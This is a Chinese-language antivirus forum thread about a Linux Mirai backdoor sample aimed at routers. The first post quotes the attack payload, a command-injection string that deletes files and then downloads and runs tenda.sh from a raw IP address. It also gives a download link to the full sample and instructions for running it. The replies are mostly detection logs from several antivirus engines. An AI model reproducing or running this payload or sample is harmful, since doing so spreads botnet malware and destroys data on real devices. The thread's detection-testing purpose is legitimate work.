#Linux #Mirai Backdoor 1X

显示全部楼层 · 发表于 2024-3-17 20:24:35

本帖最后由谈谈MEMZ 于 2024-3-17 20:48 编辑

攻击载荷如下

$(rm -rf *; cd /tmp; wget http://94.156.8.244/tenda.sh; chmod 777 tenda.sh; ./tenda.sh)

复制代码

完整样本已上传到附件全平台支持
执行方式

chmod +x [样本名]
./[样本名] tplink

复制代码

SentinelOne
Cloud Kill ALL

123pan分流
https://www.123pan.com/s/PKS0Vv-lLXBH.html

显示全部楼层 · 发表于 2024-3-17 20:29:43

本帖最后由秋日之殇于 2024-3-17 20:34 编辑

shell脚本卡巴报：HEUR:Trojan-Downloader.Shell.Agent.p
其他的样本卡巴报：HEUR:Backdoor.Linux.Mirai.cw

显示全部楼层 · 发表于 2024-3-17 20:40:25

河众特征1x

------------------------HEZHONG ANTIVIRUS SCAN LOG------------------------
开始于: 2024.3.17-20.39.11
病毒库版本: 528
软件版本: 6.27
引擎版本: 6.25.1580
记录病毒数量: 0
------------------------HEZHONG ANTIVIRUS SCAN LOG------------------------
扫描文件：D:\IDM\Compressed\tenda\arm ......
扫描文件：D:\IDM\Compressed\tenda\arm5 ......
扫描文件：D:\IDM\Compressed\tenda\arm6 ......
扫描文件：D:\IDM\Compressed\tenda\arm7 ......
扫描文件：D:\IDM\Compressed\tenda\i586 ......
扫描文件：D:\IDM\Compressed\tenda\i686 ......
扫描文件：D:\IDM\Compressed\tenda\m68k ......
扫描文件：D:\IDM\Compressed\tenda\mips ......
扫描文件：D:\IDM\Compressed\tenda\mpsl ......
扫描文件：D:\IDM\Compressed\tenda\powerpc ......
扫描文件：D:\IDM\Compressed\tenda\sh4 ......
扫描文件：D:\IDM\Compressed\tenda\sparc ......
扫描文件：D:\IDM\Compressed\tenda\tenda.sh ......
扫描文件：D:\IDM\Compressed\tenda\x86_64 ......-> 发现了：Linux.Trojan.Ircbot.bb204b81
扫描已经完成。耗时1.33秒钟，扫描14文件，扫描1个检测。

复制代码

吉祥物 ClamAV：

Loading: 20s, ETA: 0s [========================>] 8.69M/8.69M sigs
Compiling: 4s, ETA: 0s [========================>] 41/41 tasks
D:\IDM\Compressed\tenda\arm: OK
D:\IDM\Compressed\tenda\arm5: OK
D:\IDM\Compressed\tenda\arm6: OK
D:\IDM\Compressed\tenda\arm7: OK
D:\IDM\Compressed\tenda\i586: OK
D:\IDM\Compressed\tenda\i686: OK
D:\IDM\Compressed\tenda\m68k: Unix.Trojan.Mirai-6981989-0 FOUND
D:\IDM\Compressed\tenda\mips: OK
D:\IDM\Compressed\tenda\mpsl: OK
D:\IDM\Compressed\tenda\powerpc: Unix.Trojan.Mirai-9936831-0 FOUND
D:\IDM\Compressed\tenda\sh4: Unix.Dropper.Mirai-7136288-0 FOUND
D:\IDM\Compressed\tenda\sparc: Unix.Trojan.Mirai-9441505-0 FOUND
D:\IDM\Compressed\tenda\tenda.sh: OK
D:\IDM\Compressed\tenda\x86_64: OK
----------- SCAN SUMMARY -----------
Known viruses: 8687378
Engine version: 1.3.0
Scanned directories: 1
Scanned files: 14
Infected files: 4
Data scanned: 0.53 MB
Data read: 0.53 MB (ratio 1.00:1)
Time: 25.825 sec (0 m 25 s)
Start Date: 2024:03:17 20:39:25
End Date: 2024:03:17 20:39:51

复制代码

显示全部楼层 · 发表于 2024-3-17 20:45:57

火绒
扫描：特征 ALL

扫描文件：14
发现风险：14
已处理风险：0
病毒详情：
风险路径：C:\Users\UnknownOoo\Downloads\Compressed\tenda\tenda.sh, 病毒名：HEUR:TrojanDownloader/Linux.Agent.d, 病毒ID：da2774cb7a6c3279, 处理结果：暂不处理
风险路径：C:\Users\UnknownOoo\Downloads\Compressed\tenda\m68k, 病毒名：Backdoor/Linux.Mirai.fk, 病毒ID：8f2354c51047a034, 处理结果：暂不处理
风险路径：C:\Users\UnknownOoo\Downloads\Compressed\tenda\i586, 病毒名：Backdoor/Linux.Mirai.fk, 病毒ID：8f2354c51047a034, 处理结果：暂不处理
风险路径：C:\Users\UnknownOoo\Downloads\Compressed\tenda\sh4, 病毒名：Backdoor/Linux.Mirai.fk, 病毒ID：8f2354c51047a034, 处理结果：暂不处理
风险路径：C:\Users\UnknownOoo\Downloads\Compressed\tenda\mips, 病毒名：Backdoor/Linux.Mirai.fk, 病毒ID：8f2354c51047a034, 处理结果：暂不处理
风险路径：C:\Users\UnknownOoo\Downloads\Compressed\tenda\sparc, 病毒名：Backdoor/Linux.Mirai.y, 病毒ID：f025518527bac014, 处理结果：暂不处理
风险路径：C:\Users\UnknownOoo\Downloads\Compressed\tenda\arm5, 病毒名：Backdoor/Linux.Mirai.fk, 病毒ID：8f2354c51047a034, 处理结果：暂不处理
风险路径：C:\Users\UnknownOoo\Downloads\Compressed\tenda\i686, 病毒名：Backdoor/Linux.Mirai.fk, 病毒ID：8f2354c51047a034, 处理结果：暂不处理
风险路径：C:\Users\UnknownOoo\Downloads\Compressed\tenda\mpsl, 病毒名：Backdoor/Linux.Mirai.fk, 病毒ID：8f2354c51047a034, 处理结果：暂不处理
风险路径：C:\Users\UnknownOoo\Downloads\Compressed\tenda\x86_64, 病毒名：Backdoor/Linux.Mirai.fk, 病毒ID：8f2354c51047a034, 处理结果：暂不处理
风险路径：C:\Users\UnknownOoo\Downloads\Compressed\tenda\arm6, 病毒名：Backdoor/Linux.Mirai.fk, 病毒ID：8f2354c51047a034, 处理结果：暂不处理
风险路径：C:\Users\UnknownOoo\Downloads\Compressed\tenda\powerpc, 病毒名：Backdoor/Linux.Mirai.fk, 病毒ID：8f2354c51047a034, 处理结果：暂不处理
风险路径：C:\Users\UnknownOoo\Downloads\Compressed\tenda\arm7, 病毒名：Trojan/Linux.Backdoor.l, 病毒ID：db9ac730c5df0b0a, 处理结果：暂不处理
风险路径：C:\Users\UnknownOoo\Downloads\Compressed\tenda\arm, 病毒名：Backdoor/Linux.Mirai.fk, 病毒ID：8f2354c51047a034, 处理结果：暂不处理

复制代码

显示全部楼层 · 发表于 2024-3-17 21:18:05

ESET 报 LINUX 病毒

显示全部楼层 · 发表于 2024-3-17 21:19:54

IKARUS - 12/14

显示全部楼层 · 发表于 2024-3-17 22:17:30

显示全部楼层 · 发表于 2024-3-17 22:59:06

显示全部楼层 · 发表于 2024-3-18 06:46:43

360 kill all

显示全部楼层 · 发表于 2024-3-18 08:56:00

蜘蛛 13

[病毒样本] #Linux #Mirai Backdoor 1X

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源